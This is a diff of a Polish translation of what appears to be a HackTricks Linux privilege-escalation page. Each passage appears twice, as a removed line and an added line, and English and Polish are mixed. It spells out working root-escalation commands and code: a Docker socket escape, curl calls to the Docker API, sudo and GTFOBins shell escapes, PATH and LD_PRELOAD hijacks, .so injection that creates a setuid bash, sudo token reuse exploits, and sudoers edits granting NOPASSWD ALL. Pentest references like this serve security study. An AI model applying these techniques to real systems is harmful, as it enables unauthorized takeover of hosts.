Poniżej znajduje się przegląd, jak można to zrobić oraz alternatywne metody, jeśli Docker CLI nie jest dostępne. -#### **Privilege Escalation with Docker CLI** +#### **Eskalacja uprawnień z użyciem Docker CLI** -Jeśli masz dostęp zapisu do Docker socket, możesz escalate privileges, używając następujących poleceń: +Jeśli masz dostęp zapisowy do Docker socket, możesz eskalować uprawnienia używając następujących poleceń: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Te polecenia pozwalają uruchomić kontener z dostępem root do systemu plików hosta. +Te polecenia pozwalają uruchomić kontener z uprawnieniami roota do systemu plików hosta. -#### **Korzystanie bezpośrednio z Docker API** +#### **Using Docker API Directly** -W przypadkach, gdy Docker CLI nie jest dostępny, do gniazda Docker można nadal uzyskać dostęp za pomocą Docker API i poleceń `curl`. +W przypadkach, gdy Docker CLI nie jest dostępne, Docker socket można nadal obsługiwać przy użyciu Docker API i poleceń `curl`. 1. **List Docker Images:** Pobierz listę dostępnych obrazów. @@ -513,7 +514,7 @@ W przypadkach, gdy Docker CLI nie jest dostępny, do gniazda Docker można nadal curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Wyślij żądanie utworzenia kontenera, który zamontuje katalog root systemu hosta. +2. **Create a Container:** Wyślij żądanie utworzenia kontenera, który montuje katalog root systemu hosta. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -525,7 +526,7 @@ Uruchom nowo utworzony kontener: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Użyj `socat`, aby nawiązać połączenie z kontenerem, umożliwiając wykonywanie poleceń wewnątrz niego. +3. **Attach to the Container:** Użyj `socat`, aby nawiązać połączenie z kontenerem, co umożliwi wykonywanie poleceń wewnątrz niego. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -535,13 +536,13 @@ Connection: Upgrade Upgrade: tcp ``` -Po nawiązaniu połączenia `socat` możesz wykonywać polecenia bezpośrednio w kontenerze z uprawnieniami root do systemu plików hosta. +Po ustanowieniu połączenia za pomocą `socat` możesz wykonywać polecenia bezpośrednio w kontenerze z uprawnieniami roota do systemu plików hosta. -### Inne +### Others -Zauważ, że jeśli masz uprawnienia zapisu do gniazda docker, ponieważ jesteś **inside the group `docker`**, masz [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Jeśli [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Zauważ, że jeśli masz uprawnienia do zapisu do docker socket, ponieważ jesteś **inside the group `docker`** masz [**więcej sposobów na eskalację uprawnień**](interesting-groups-linux-pe/index.html#docker-group). Jeśli [**docker API nasłuchuje na porcie** możesz też być w stanie je przejąć](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Sprawdź **more ways to break out from docker or abuse it to escalate privileges** w: +Sprawdź **więcej sposobów na ucieczkę z docker lub nadużycie go w celu eskalacji uprawnień** w: {{#ref}} @@ -550,7 +551,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Jeśli stwierdzisz, że możesz użyć polecenia **`ctr`**, przeczytaj następującą stronę, ponieważ **you may be able to abuse it to escalate privileges**: +Jeśli odkryjesz, że możesz użyć polecenia **`ctr`**, przeczytaj następującą stronę, ponieważ **możesz być w stanie nadużyć go do eskalacji uprawnień**: {{#ref}} @@ -559,7 +560,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Jeśli stwierdzisz, że możesz użyć polecenia **`runc`**, przeczytaj następującą stronę, ponieważ **you may be able to abuse it to escalate privileges**: +Jeśli odkryjesz, że możesz użyć polecenia **`runc`**, przeczytaj następującą stronę, ponieważ **możesz być w stanie nadużyć go do eskalacji uprawnień**: {{#ref}} @@ -568,15 +569,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus to zaawansowany **system komunikacji międzyprocesowej (IPC)**, który umożliwia aplikacjom efektywną interakcję i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidne ramy dla różnych form komunikacji między aplikacjami. +D-Bus to zaawansowany system **inter-Process Communication (IPC)**, który umożliwia aplikacjom efektywną współpracę i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidne ramy dla różnych form komunikacji między aplikacjami. -System jest wszechstronny, wspiera podstawową komunikację międzyprocesową, która usprawnia wymianę danych między procesami, przypominając **enhanced UNIX domain sockets**. Ponadto pomaga w rozgłaszaniu zdarzeń lub sygnałów, ułatwiając płynną integrację komponentów systemu. Na przykład sygnał od demona Bluetooth o przychodzącym połączeniu może spowodować wyciszenie odtwarzacza muzyki, poprawiając doświadczenie użytkownika. Dodatkowo D-Bus obsługuje system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, co upraszcza procesy, które tradycyjnie były skomplikowane. +System jest wszechstronny, wspierając podstawowe IPC, które usprawnia wymianę danych między procesami, przypominając **rozszerzone UNIX domain sockets**. Ponadto pomaga w rozgłaszaniu zdarzeń lub sygnałów, ułatwiając integrację komponentów systemowych. Na przykład sygnał od demona Bluetooth o przychodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenie użytkownika. Dodatkowo D-Bus wspiera zdalny system obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, upraszczając procesy, które tradycyjnie były skomplikowane. -D-Bus działa w **allow/deny model**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie sumarycznego efektu pasujących reguł polityki. Te polityki określają interakcje z busem, co może potencjalnie umożliwić privilege escalation poprzez wykorzystanie tych uprawnień. +D-Bus działa na modelu **allow/deny**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie skumulowanego działania dopasowujących się reguł polityki. Te polityki określają interakcje z busem, co potencjalnie może prowadzić do eskalacji uprawnień poprzez wykorzystanie tych uprawnień. -Przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf` jest podany, opisując uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od `fi.w1.wpa_supplicant1`. +Przykład takiej polityki w /etc/dbus-1/system.d/wpa_supplicant.conf pokazuje uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od fi.w1.wpa_supplicant1. -Polityki bez określonego użytkownika lub grupy stosuje się uniwersalnie, podczas gdy polityki z kontekstem "default" stosuje się do wszystkich nieobjętych innymi, bardziej szczegółowymi politykami. +Polityki bez określonego użytkownika lub grupy stosują się uniwersalnie, natomiast polityki w kontekście "default" dotyczą wszystkich, którzy nie są objęci przez inne bardziej specyficzne polityki. ```xml @@ -585,7 +586,7 @@ Polityki bez określonego użytkownika lub grupy stosuje się uniwersalnie, podc ``` -**Dowiedz się, jak enumerować i wykorzystywać komunikację D-Bus tutaj:** +**Dowiedz się, jak enumerować i wykorzystać komunikację D-Bus tutaj:** {{#ref}} @@ -594,7 +595,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Sieć** -Zawsze warto przeprowadzić enumerację sieci i ustalić pozycję maszyny. +Warto przeprowadzić enumerację sieci i ustalić pozycję maszyny. ### Ogólna enumeracja ```bash @@ -621,22 +622,22 @@ lsof -i ``` ### Otwarte porty -Zawsze sprawdź usługi sieciowe działające na maszynie, z którymi nie mogłeś wchodzić w interakcję przed uzyskaniem do niej dostępu: +Zawsze sprawdzaj usługi sieciowe działające na maszynie, z którymi nie mogłeś wchodzić w interakcję przed uzyskaniem do niej dostępu: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Sprawdź, czy możesz sniff traffic. Jeśli tak, możesz zdobyć poświadczenia. +Sprawdź, czy możesz sniff traffic. Jeśli tak, możesz przechwycić jakieś poświadczenia. ``` timeout 1 tcpdump ``` -## Użytkownicy +## Users ### Generic Enumeration -Sprawdź **who** jesteś, jakie masz **privileges**, którzy **users** są w systemie, którzy mogą **login** i którzy mają **root privileges:** +Sprawdź, kim jesteś, jakie masz **privileges**, jacy **users** są w systemie, którzy mogą wykonać **login** i którzy mają **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -658,10 +659,10 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Duży UID +### Big UID Niektóre wersje Linuxa były podatne na błąd, który pozwala użytkownikom z **UID > INT_MAX** na eskalację uprawnień. Więcej informacji: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -Wykorzystaj to za pomocą: **`systemd-run -t /bin/bash`** +**Exploit it** using: **`systemd-run -t /bin/bash`** ### Grupy @@ -689,29 +690,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Znane hasła +### Known passwords -Jeśli **znasz jakiekolwiek hasło** w środowisku, **spróbuj zalogować się jako każdy użytkownik** używając tego hasła. +Jeśli **znasz jakiekolwiek hasło** w środowisku **spróbuj zalogować się jako każdy użytkownik** używając tego hasła. ### Su Brute -Jeśli nie przeszkadza ci generowanie dużego hałasu i binarki `su` oraz `timeout` są obecne na komputerze, możesz spróbować przeprowadzić brute-force użytkowników używając [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje przeprowadzić brute-force użytkowników. +Jeśli nie przeszkadza Ci generowanie dużego hałasu i na komputerze dostępne są binaria `su` i `timeout`, możesz spróbować przeprowadzić brute-force na koncie użytkownika przy użyciu [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje przeprowadzić brute-force na użytkownikach. -## Nadużycia zapisywalnego $PATH +## Nadużycia zapisywalnego PATH ### $PATH -Jeśli odkryjesz, że możesz **zapisywać w jakimś katalogu należącym do $PATH**, możesz być w stanie eskalować uprawnienia przez **utworzenie backdoor w zapisywalnym katalogu** o nazwie pewnego polecenia, które zostanie wykonane przez innego użytkownika (root ideally) i które **nie jest ładowane z katalogu znajdującego się wcześniej** niż twój zapisywalny katalog w $PATH. +Jeśli odkryjesz, że możesz **zapisać do jakiegoś katalogu z $PATH** możesz być w stanie eskalować uprawnienia przez **utworzenie backdoora w zapisywalnym katalogu** o nazwie polecenia, które zostanie uruchomione przez innego użytkownika (najlepiej root) i które **nie jest ładowane z katalogu znajdującego się wcześniej** w $PATH. ### SUDO and SUID -Możesz mieć możliwość wykonania jakiegoś polecenia za pomocą sudo lub plik może mieć ustawiony bit suid. Sprawdź to używając: +Możesz mieć pozwolenie na uruchomienie pewnego polecenia przy użyciu sudo lub plik może mieć ustawiony suid bit. Sprawdź to używając: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Niektóre **nieoczekiwane polecenia pozwalają na odczyt i/lub zapis plików, a nawet wykonanie polecenia.** Na przykład: +Niektóre **nieoczekiwane polecenia pozwalają odczytać i/lub zapisać pliki, a nawet wykonać polecenie.** Na przykład: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -722,31 +723,31 @@ less>! ``` ### NOPASSWD -Konfiguracja Sudo może pozwolić użytkownikowi na uruchomienie pewnego polecenia z uprawnieniami innego użytkownika bez znajomości hasła. +Konfiguracja Sudo może pozwolić użytkownikowi uruchomić pewne polecenie z uprawnieniami innego użytkownika bez znajomości hasła. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -W tym przykładzie użytkownik `demo` może uruchamiać `vim` jako `root`; teraz zdobycie shellu jest trywialne — wystarczy dodać ssh key do root directory lub wywołać `sh`. +W tym przykładzie użytkownik `demo` może uruchamiać `vim` jako `root`; teraz uzyskanie powłoki jest trywialne przez dodanie ssh key do katalogu `root` lub przez wywołanie `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ta dyrektywa pozwala użytkownikowi **ustawić zmienną środowiskową** podczas wykonywania polecenia: +Ta dyrektywa pozwala użytkownikowi **ustawić zmienną środowiskową** podczas wykonywania czegoś: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Ten przykład, **oparty na HTB machine Admirer**, był **podatny** na **PYTHONPATH hijacking**, co pozwalało na załadowanie dowolnej biblioteki python podczas uruchamiania skryptu jako root: +Ten przykład, **oparty na HTB machine Admirer**, był **podatny** na **PYTHONPATH hijacking**, umożliwiając załadowanie dowolnej biblioteki python podczas uruchamiania skryptu jako root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo — omijanie ścieżek wykonywania +### Ścieżki omijające wykonywanie sudo -**Skocz** aby odczytać inne pliki lub użyj **symlinks**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Przejdź** aby przeczytać inne pliki lub użyć **symlinks**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -763,39 +764,39 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Środki zaradcze**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary bez ścieżki do polecenia +### Sudo command/SUID binary bez podanej ścieżki -Jeśli nadano **sudo permission** dla pojedynczego polecenia **bez określenia ścieżki**: _hacker10 ALL= (root) less_, możesz to wykorzystać, zmieniając zmienną PATH. +Jeśli **sudo permission** jest przyznane pojedynczemu poleceniu **bez określenia ścieżki**: _hacker10 ALL= (root) less_ możesz to wykorzystać, zmieniając zmienną PATH. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Ta technika może być również użyta, jeśli binarka **suid** **wywołuje inne polecenie bez określenia ścieżki do niego (zawsze sprawdź zawartość dziwnej binarki SUID za pomocą** _**strings**_**)**). +Ta technika może być także użyta, jeśli binarka **suid** **uruchamia inne polecenie bez podania ścieżki do niego (zawsze sprawdź za pomocą** _**strings**_ **zawartość dziwnej binarki SUID)**. [Payload examples to execute.](payloads-to-execute.md) -### SUID binary ze ścieżką polecenia +### Binarka SUID z podaną ścieżką do polecenia -Jeśli binarka **suid** **wywołuje inne polecenie określając ścieżkę**, możesz spróbować **wyeksportować funkcję** nazwaną tak, jak polecenie, które wywołuje plik suid. +Jeśli binarka **suid** **uruchamia inne polecenie, podając ścieżkę**, to możesz spróbować **wyeksportować funkcję** nazwaną tak jak polecenie, które wywołuje plik suid. -Na przykład, jeśli binarka **suid** wywołuje _**/usr/sbin/service apache2 start**_, musisz spróbować utworzyć funkcję i ją wyeksportować: +Na przykład, jeśli binarka suid wywołuje _**/usr/sbin/service apache2 start**_ musisz spróbować stworzyć funkcję i ją wyeksportować: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Potem, gdy wywołasz binarkę suid, ta funkcja zostanie wykonana +Następnie, gdy wywołasz plik binarny z suid, ta funkcja zostanie wykonana ### LD_PRELOAD & **LD_LIBRARY_PATH** -Zmienna środowiskowa **LD_PRELOAD** jest używana do określenia jednej lub więcej bibliotek współdzielonych (.so files), które loader załaduje przed wszystkimi innymi, w tym przed standardową biblioteką C (`libc.so`). Ten proces jest znany jako wstępne ładowanie biblioteki. +Zmienna środowiskowa **LD_PRELOAD** służy do wskazania jednej lub kilku bibliotek współdzielonych (.so files) ładowanych przez loader przed wszystkimi innymi, w tym standardową biblioteką C (`libc.so`). Ten proces znany jest jako preloading biblioteki. -Jednak, aby zachować bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku wykonywalnych plików **suid/sgid**, system wymusza pewne warunki: +Jednakże, aby utrzymać bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji — szczególnie w przypadku plików wykonywalnych **suid/sgid** — system wymusza pewne warunki: -- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, w których rzeczywisty identyfikator użytkownika (_ruid_) nie odpowiada efektywnemu identyfikatorowi użytkownika (_euid_). -- Dla programów z **suid/sgid** wstępnie ładowane są tylko biblioteki znajdujące się w standardowych ścieżkach, które same są oznaczone jako **suid/sgid**. +- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, gdzie real user ID (_ruid_) nie zgadza się z effective user ID (_euid_). +- Dla plików wykonywalnych ze statusem suid/sgid, wstępnie ładowane są tylko biblioteki znajdujące się w standardowych ścieżkach, które również mają suid/sgid. -Escalacja uprawnień może nastąpić, jeśli masz możliwość uruchamiania poleceń z użyciem `sudo`, a wynik `sudo -l` zawiera wpis **env_keep+=LD_PRELOAD**. Taka konfiguracja pozwala, by zmienna środowiskowa **LD_PRELOAD** przetrwała i była rozpoznawana nawet przy uruchamianiu poleceń przez `sudo`, co może prowadzić do wykonania dowolnego kodu z podwyższonymi uprawnieniami. +Privilege escalation może wystąpić, jeśli masz możliwość uruchamiania poleceń z `sudo` i wynik `sudo -l` zawiera wpis **env_keep+=LD_PRELOAD**. Taka konfiguracja pozwala zmiennej środowiskowej **LD_PRELOAD** zachować się i być rozpoznawaną nawet gdy polecenia są uruchamiane z `sudo`, co potencjalnie prowadzi do wykonania dowolnego kodu z podwyższonymi uprawnieniami. ``` Defaults env_keep += LD_PRELOAD ``` @@ -822,7 +823,7 @@ Na koniec, **escalate privileges** uruchamiając sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Podobny privesc może zostać wykorzystany, jeśli atakujący kontroluje **LD_LIBRARY_PATH** env variable, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki. +> Podobny privesc można wykorzystać, jeśli atakujący kontroluje zmienną środowiskową **LD_LIBRARY_PATH**, ponieważ wówczas kontroluje ścieżkę, w której będą wyszukiwane biblioteki. ```c #include #include @@ -844,13 +845,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Jeśli natkniesz się na binary z uprawnieniami **SUID**, które wydają się nietypowe, dobrą praktyką jest sprawdzenie, czy prawidłowo ładuje pliki **.so**. Można to sprawdzić, uruchamiając następujące polecenie: +Gdy natrafisz na plik binarny z uprawnieniami **SUID**, który wydaje się nietypowy, dobrą praktyką jest sprawdzenie, czy poprawnie ładuje pliki **.so**. Można to sprawdzić, uruchamiając następujące polecenie: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Na przykład, napotkanie błędu takiego jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje potencjalną możliwość wykorzystania. +Na przykład, napotkanie błędu takiego jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje potencjalną możliwość eksploatacji. -Aby to wykorzystać, należy utworzyć plik źródłowy w C, na przykład _"/path/to/.config/libcalc.c"_, zawierający następujący kod: +Aby to wykorzystać, należy utworzyć plik C, np. _"/path/to/.config/libcalc.c"_, zawierający następujący kod: ```c #include #include @@ -861,13 +862,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ten kod, po skompilowaniu i uruchomieniu, ma na celu podniesienie uprawnień poprzez manipulowanie uprawnieniami plików i uruchomienie shell z podwyższonymi uprawnieniami. +Ten kod, po skompilowaniu i uruchomieniu, ma na celu eskalację uprawnień poprzez manipulację uprawnieniami plików i uruchomienie shella z podwyższonymi uprawnieniami. -Skompiluj powyższy plik C do pliku .so za pomocą: +Skompiluj powyższy plik C do biblioteki współdzielonej (.so) za pomocą: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Wreszcie uruchomienie dotkniętego pliku binarnego SUID powinno wywołać exploit, umożliwiając potencjalne przejęcie systemu. +W końcu uruchomienie dotkniętego SUID binary powinno wywołać exploit, pozwalając na potencjalne przejęcie systemu. ## Shared Object Hijacking ```bash @@ -879,7 +880,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Teraz, gdy znaleźliśmy SUID binary, który ładuje bibliotekę z folderu, do którego możemy zapisywać, stwórzmy bibliotekę w tym folderze o wymaganej nazwie: +Teraz, gdy znaleźliśmy SUID binary, który ładuje bibliotekę z katalogu, do którego możemy zapisywać, stwórzmy bibliotekę w tym katalogu o wymaganej nazwie: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -896,13 +897,13 @@ Jeśli otrzymasz błąd taki jak ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -to oznacza, że wygenerowana biblioteka musi zawierać funkcję o nazwie `a_function_name`. +to oznacza, że biblioteka, którą wygenerowałeś, musi mieć funkcję nazwaną `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) to skatalogowana lista binarek Unix, które mogą zostać wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) to to samo, ale dla przypadków, gdy możesz **tylko wstrzykiwać argumenty** w polecenie. +[**GTFOBins**](https://gtfobins.github.io) to kuratorowana lista binarek Uniksa, które mogą być wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) jest tym samym, ale w przypadkach, gdy możesz **tylko wstrzykiwać argumenty** w polecenie. -Projekt zbiera legalne funkcje binarek Unix, które mogą być nadużyte do ucieczki z restricted shells, eskalacji lub utrzymania podwyższonych uprawnień, transferu plików, uruchamiania bind and reverse shells oraz ułatwiania innych zadań post-exploitation. +Projekt zbiera legalne funkcje binarek Uniksa, które mogą być nadużyte do wydostania się z ograniczonych shelli, eskalacji lub utrzymania podwyższonych uprawnień, transferu plików, uruchamiania bind i reverse shells oraz ułatwiania innych zadań post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -921,55 +922,56 @@ https://gtfoargs.github.io/ ### FallOfSudo -Jeśli masz dostęp do `sudo -l` możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aby sprawdzić, czy znajdzie sposób na wykorzystanie którejkolwiek reguły sudo. +Jeśli masz dostęp do `sudo -l`, możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aby sprawdzić, czy znajdzie sposób na wykorzystanie dowolnej reguły sudo. ### Reusing Sudo Tokens -W sytuacjach, gdy masz **sudo access** ale nie znasz hasła, możesz eskalować uprawnienia przez **oczekiwanie na wykonanie polecenia sudo, a następnie przejęcie tokenu sesji**. +W przypadkach, gdy masz **sudo access** ale nie znasz hasła, możesz eskalować uprawnienia przez **oczekiwanie na wykonanie polecenia sudo, a następnie przejęcie tokena sesji**. Wymagania do eskalacji uprawnień: - Masz już shell jako użytkownik "_sampleuser_" -- "_sampleuser_" **użył `sudo`** do wykonania czegoś w ciągu **ostatnich 15 minut** (domyślnie to czas trwania tokenu sudo, który pozwala używać `sudo` bez podawania hasła) +- "_sampleuser_" **użył `sudo`** do wykonania czegoś **w ciągu ostatnich 15 minut** (domyślnie to czas trwania tokena sudo, który pozwala nam używać `sudo` bez podawania hasła) - `cat /proc/sys/kernel/yama/ptrace_scope` ma wartość 0 -- `gdb` jest dostępny (możesz go wgrać) +- `gdb` jest dostępny (możesz go przesłać) -(Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub trwale modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`) +(Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub na stałe modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`) -Jeśli wszystkie te wymagania są spełnione, **możesz eskalować uprawnienia używając:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Jeśli wszystkie te wymagania są spełnione, **możesz eskalować uprawnienia za pomocą:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Pierwszy exploit (`exploit.sh`) utworzy binarkę `activate_sudo_token` w _/tmp_. Możesz jej użyć, aby **aktywować sudo token w swojej sesji** (nie otrzymasz automatycznie shella root — wykonaj `sudo su`): +- The **pierwszy exploit** (`exploit.sh`) utworzy binarkę `activate_sudo_token` w _/tmp_. Możesz jej użyć do **aktywowania tokenu sudo w swojej sesji** (nie otrzymasz automatycznie powłoki roota, uruchom `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Drugi **exploit** (`exploit_v2.sh`) utworzy powłokę sh w _/tmp_, **należącą do użytkownika root z ustawionym setuid** +- Drugi **exploit** (`exploit_v2.sh`) utworzy powłokę sh w _/tmp_ **będącą własnością root z bitem setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Ten **trzeci exploit** (`exploit_v3.sh`) będzie **create a sudoers file**, który sprawi, że **sudo tokens będą wieczne i pozwolą wszystkim użytkownikom używać sudo** +- **Trzeci exploit** (`exploit_v3.sh`) **utworzy sudoers file**, co sprawi, że **sudo tokens będą wieczne i wszyscy użytkownicy będą mogli używać sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Jeśli masz **uprawnienia zapisu** w tym folderze lub do któregokolwiek z plików utworzonych w nim, możesz użyć binarki [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools), aby **utworzyć sudo token dla użytkownika i PID**.\ -Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz shell jako ten użytkownik z PID 1234, możesz **uzyskać uprawnienia sudo** bez potrzeby znajomości hasła, wykonując: +Jeśli masz **uprawnienia do zapisu** w folderze lub na którymkolwiek z utworzonych w nim plików, możesz użyć binarki [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) aby **utworzyć token sudo dla użytkownika i PID**.\ +Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz shell jako ten użytkownik z PID 1234, możesz **uzyskać uprawnienia sudo** bez konieczności znajomości hasła wykonując: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Plik `/etc/sudoers` oraz pliki w katalogu `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być czytane tylko przez użytkownika root i grupę root**.\ -**Jeżeli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać pewne interesujące informacje**, a jeśli możesz **zapisać** którykolwiek z tych plików, będziesz w stanie **eskalować uprawnienia**. +Plik `/etc/sudoers` oraz pliki w katalogu `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób.\ +**Te pliki domyślnie mogą być odczytywane tylko przez użytkownika root i grupę root**.\ +**Jeśli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać pewne interesujące informacje**, a jeśli możesz **zapisać** dowolny plik, będziesz w stanie **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Jeśli masz uprawnienie do zapisu, możesz je nadużyć. +Jeśli masz możliwość zapisu, możesz nadużyć to uprawnienie. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -989,9 +991,9 @@ permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Jeśli wiesz, że **użytkownik zwykle łączy się z maszyną i używa `sudo`** do eskalacji uprawnień i uzyskałeś shell w kontekście tego użytkownika, możesz **utworzyć nowy wykonywalny plik sudo**, który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **zmodyfikuj $PATH** w kontekście użytkownika (na przykład dodając nową ścieżkę w .bash_profile), tak aby gdy użytkownik uruchomi sudo, wykonywany był twój plik sudo. +Jeśli wiesz, że **użytkownik zwykle łączy się z maszyną i używa `sudo`** do eskalacji uprawnień i masz shell w kontekście tego użytkownika, możesz **utworzyć nowy sudo executable**, który uruchomi twój kod jako root, a następnie wykona polecenie użytkownika. Następnie **zmodyfikuj $PATH** w kontekście użytkownika (np. dodając nową ścieżkę w .bash_profile), tak aby gdy użytkownik wywoła sudo, uruchamiany był twój sudo executable. -Zwróć uwagę, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 